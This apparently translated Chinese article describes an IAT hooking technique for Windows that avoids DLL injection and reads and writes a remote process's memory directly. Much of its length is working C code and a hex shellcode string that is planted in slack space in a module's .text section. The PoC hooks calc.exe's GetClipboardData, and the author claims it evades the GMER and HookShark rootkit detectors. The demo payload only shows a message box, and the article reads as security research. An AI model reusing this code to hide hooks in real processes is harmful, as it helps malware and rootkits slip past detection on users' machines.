0×01 介绍
Hook导入表(IAT hooking)是一个文档齐全的拦截导入函数调用的技术。然而,很多方法依赖于一些可疑的API函数,会遗留一些容易识别的特征,这篇文章探究了一种能够绕过常规检测机制的IAT hooking实现方法。
0×02 传统的实现方式
IAT hooking常通过DLL注入的方式实现。向目标进程中注入一个包含有hooking代码的DLL,这个DLL就可以访问目标进程的内存了。这样就可以修改IAT表项,将其指向DLL中的处理函数。这虽然管用,但是容易被检测出来。采用上述实现方法,系统上会留下一些人工修改的痕迹,比如注册表键或者线程以及内存中的模块。更进一步,处理函数的地址指向的是注入的模块而不是原本的导出函数的模块。
这些痕迹不能很好地隐藏注入行为。通过验证表中的每一项是否指向合适的模块(至少应该指向windwos系统模块)就可以很容易检查IAT表项是否被修改。任何恶意模块一旦被识别出来,就可以容易地从内存中提取出来做进一步的分析。
0×03 一种不同的实现方法
不使用DLL注入可以避免许多DLL注入中会遇到的陷阱。这可以通过使用OpenProcess、NtQueryInformationProcess、ReadProcessMemory以及WriteProcessMemory与目标进程交互的方法来实现。这虽然需要多做些工作,但却有高价值的回报。
1、较少的人工修改痕迹(不在硬盘上写DLLs,内存中没有DLLs,没有被其他进程拥有的线程等)。
2、较少地调用被认为可疑的函数(VirtualAllocEx、CreateRemoteThread,参数中包含PROCESS_CREATE_THREAD的OpenProcess)。
3、因为hook处理代码位于导入模块的.text段中,所以很难检测出来。
这虽然很长而且容易出错,但实现步骤却很简单清楚:
1、以仅限于查询的方式和VM operation/read/write权限打开进程。
2、通过调用NtQueryInformationProcess获取外部进程的进程环境块(PEB)的基地址。
3、利用PEB中的基址以及ReadProcessMemory函数读取外部进程的主映像。
4、使用ReadProcesssMemory找到目标的ILT/IAT表项。
5、把执行hooking的进程中的处理函数拷贝到一段内存中,并将原始的导入地址写入到该内存的预定位置处。
6、使用WriteProcessMemory把处理函数写入到外部进程中的合适的导入模块的.text区段上。
7、使用WriteProcessMemory更新导入地址。
最终实现了IAT hooking,并且没有被GMER 1.0.15.15641和HookShark 0.9发现。在下面的POC中,我们将挂钩Windows计算器的USER32.dll!GetClipboardData函数。
0×04 定位远程进程的PEB
最简单的定位外部进程的PEB的方法是以PROCESS_QUERY_LIMITED_INFORMATION权限调用OpenProcess,然后把这个进程句柄和ProcessBasicInformation (0)结构体传递给NtQueryInformationProcess函数。
DWORD FindRemotePEB(HANDLE hProcess)
{
HMODULE hNTDLL = LoadLibraryA(“ntdll”);
if (!hNTDLL)
return 0;
FARPROC fpNtQueryInformationProcess = GetProcAddress
(
hNTDLL,
”NtQueryInformationProcess”
);
if (!fpNtQueryInformationProcess)
return 0;
NtQueryInformationProcess ntQueryInformationProcess =
(NtQueryInformationProcess)fpNtQueryInformationProcess;
PROCESS_BASIC_INFORMATION* pBasicInfo =
new PROCESS_BASIC_INFORMATION();
DWORD dwReturnLength = 0;
ntQueryInformationProcess
(
hProcess,
0,
pBasicInfo,
sizeof(PROCESS_BASIC_INFORMATION),
&dwReturnLength
);
return pBasicInfo->PebBaseAddress;
}
0×05 读取远程进程的映像
通过PEB中的ImageBaseAddress成员和ReadRemoteMemory函数,我们能够读取远程进程的映像
PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress)
{
BYTE* lpBuffer = new BYTE[BUFFER_SIZE];
BOOL bSuccess = ReadProcessMemory
(
hProcess,
lpImageBaseAddress,
lpBuffer,
BUFFER_SIZE,
0
);
if (!bSuccess)
return 0;
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer;
PLOADED_IMAGE pImage = new LOADED_IMAGE();
pImage->FileHeader =
(PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew);
pImage->NumberOfSections =
pImage->FileHeader->FileHeader.NumberOfSections;
pImage->Sections =
(PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS32));
return pImage;
}
0×06 找到远程进程的导入地址
得到远程的映像头之后,我们一定能够找到user32.dll的导入描述符表,然后如同我们获取远程映像那样,使用ReadProcessMemory获得ILT和IAT。
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptors = ReadRemoteImportDescriptors
(
hProcess,
pPEB->ImageBaseAddress,
pImage->FileHeader->OptionalHeader.DataDirectory
);
[…]
IMAGE_IMPORT_DESCRIPTOR descriptor = pImportDescriptors[i];
char* pName = ReadRemoteDescriptorName
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
[…]
PIMAGE_THUNK_DATA32 pILT = ReadRemoteILT
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
[…]
PIMAGE_THUNK_DATA32 pIAT = ReadRemoteIAT
(
hProcess,
pPEB->ImageBaseAddress,
&descriptor
);
0×07 注入代码并且修改IAT
正如前面所述,hook处理代码所在的位置可能暴露hooking行为。正好,我们的hook函数位于导出目标函数的模块的.text区段中。下面的函数可以帮助我们通过名称找到合适的远程导入模块。
PVOID FindRemoteImageBase(HANDLE hProcess, PPEB pPEB, char* pModuleName)
{
PPEB_LDR_DATA pLoaderData = ReadRemoteLoaderData(hProcess, pPEB);
PVOID firstFLink = pLoaderData->InLoadOrderModuleList.Flink;
PVOID fLink = pLoaderData->InLoadOrderModuleList.Flink;
PLDR_MODULE pModule = new LDR_MODULE();
do
{
BOOL bSuccess = ReadProcessMemory
(
hProcess,
fLink,
pModule,
sizeof(LDR_MODULE),
0
);
if (!bSuccess)
return 0;
PWSTR pwBaseDllName =
new WCHAR[pModule->BaseDllName.MaximumLength];
bSuccess = ReadProcessMemory
(
hProcess,
pModule->BaseDllName.Buffer,
pwBaseDllName,
pModule->BaseDllName.Length + 2,
0
);
if (bSuccess)
{
size_t sBaseDllName = pModule->BaseDllName.Length / 2 + 1;
char* pBaseDllName = new char[sBaseDllName];
WideCharToMultiByte
(
CP_ACP,
0,
pwBaseDllName,
pModule->BaseDllName.Length + 2,
pBaseDllName,
sBaseDllName,
0,
0
);
if (!_stricmp(pBaseDllName, pModuleName))
return pModule->BaseAddress;
}
fLink = pModule->InLoadOrderModuleList.Flink;
} while (pModule->InLoadOrderModuleList.Flink != firstFLink);
return 0;
}
现在我们需要在.text区段中找到一个合适的地方注入我们的代码。很幸运,区段.text的原始大小必须是PE可选头中指定的文件对齐大小的倍数。除非代码的实际大小可以被文件对齐大小整除,否则在.text区段的末尾就会有足够的空间允许我们注入一小段代码。
以下代码可以在导入模块的.text区段的末尾寻找能够放置注入代码的空间的绝对地址。
DWORD dwHandlerAddress = (DWORD)pImportImageBase +
pImportTextHeader->VirtualAddress +
pImportTextHeader->SizeOfRawData –
dwHandlerSize;
为了保证功能正常,注入到计算器中的代码必须是与位置无关的。在这个POC中我将使用windows messagebox shellcode,并做若干修改,包括函数的起始和结束部分以及一个到0xDEADBEEF的跳转。汇编代码(工程中的handler.asm)使用NASM汇编器编译,然后转成一个C字符串形式的十六进制码。
char* handler =
”/x55/x31/xdb/xeb/x55/x64/x8b/x7b”
”/x30/x8b/x7f/x0c/x8b/x7f/x1c/x8b”
”/x47/x08/x8b/x77/x20/x8b/x3f/x80″
”/x7e/x0c/x33/x75/xf2/x89/xc7/x03″
”/x78/x3c/x8b/x57/x78/x01/xc2/x8b”
”/x7a/x20/x01/xc7/x89/xdd/x8b/x34″
”/xaf/x01/xc6/x45/x8b/x4c/x24/x04″
”/x39/x0e/x75/xf2/x8b/x4c/x24/x08″
”/x39/x4e/x04/x75/xe9/x8b/x7a/x24″
”/x01/xc7/x66/x8b/x2c/x6f/x8b/x7a”
”/x1c/x01/xc7/x8b/x7c/xaf/xfc/x01″
”/xf8/xc3/x68/x4c/x69/x62/x72/x68″
”/x4c/x6f/x61/x64/xe8/x9c/xff/xff”
”/xff/x31/xc9/x66/xb9/x33/x32/x51″
”/x68/x75/x73/x65/x72/x54/xff/xd0″
”/x50/x68/x72/x6f/x63/x41/x68/x47″
”/x65/x74/x50/xe8/x7d/xff/xff/xff”
”/x59/x59/x59/x68/xf0/x86/x17/x04″
”/xc1/x2c/x24/x04/x68/x61/x67/x65″
”/x42/x68/x4d/x65/x73/x73/x54/x51″
”/xff/xd0/x53/x53/x53/x53/xff/xd0″
”/xb9/x07/x00/x00/x00/x58/xe2/xfd”
”/x5d/xb8/xef/xbe/xad/xde/xff/xe0″;
在注入这段处理函数之前,需要把0xDEADBEEF替换成我们要挂钩的函数的地址。给下面的函数传入合适的参数就可以实现这个功能。
BOOL PatchDWORD(BYTE* pBuffer, DWORD dwBufferSize, DWORD dwOldValue,
DWORD dwNewValue)
{
for (int i = 0; i < dwBufferSize – 4; i++)
{
if (*(PDWORD)(pBuffer + i) == dwOldValue)
{
memcpy(pBuffer + i, &dwNewValue, 4);
return TRUE;
}
}
return FALSE;
}
一旦处理函数修改好,就可以被注入,然后修改导入地址指向这个处理函数。
// Write handler to .text section
bSuccess = WriteProcessMemory
(
hProcess,
(LPVOID)dwHandlerAddress,
pHandlerBuffer,
dwHandlerSize,
0
);
if (!bSuccess)
{
printf(“Error writing process memory”);
return FALSE;
}
printf(“Handler address: 0x%p/r/n”, dwHandlerAddress);
LPVOID pAddress = (LPVOID)((DWORD)pPEB->ImageBaseAddress +
descriptor.FirstThunk + (dwOffset * sizeof(IMAGE_THUNK_DATA32)));
// Write IAT
bSuccess = WriteProcessMemory
(
hProcess,
pAddress,
&dwHandlerAddress,
4,
0
);
if (!bSuccess)
{
printf(“Error writing process memory”);
return FALSE;
}
return TRUE;
用一个函数调用来hook特定函数非常简单,我们需要的只是目标进程的ID,模块名称,函数名称,处理代码以及处理代码的大小。
HookFunction
(
dwProcessId,
”user32.dll”,
”GetClipboardData”,
handler,
0x100
);
0×08 POC测试
编译出一个可执行程序(在资源中可找到下载信息)。在运行它之前确保有一个计算器在运行。执行这个程序,它会试图hook遇到的第一个名为calc.exe的进程。确认没有发生错误。成功注入后的输出信息应该如下所示:
Original import address: 0x762F715A
Handler address: 0x76318300
Press any key to continue . . .
要测试hook,可以使用计算器的粘贴功能。操作后,会有一个消息框弹出来。当消息框关闭后计算器可以恢复正常功能。
0×09 结论
尽管在hook检测方面做了许多工作,这篇文章中描述的IAT hooking证实了通过变化现有技术,rootkit检测程序是可以被规避的。把同样的方法应用到不同的形式中,比如EAT hooking或inline hooking,应该也能取到同样的改进效果。
0×10 资源
IAT Hooking Revisited Proof Of Concept Source
The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System
Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Microsoft PE and COFF Specification
Packet Storm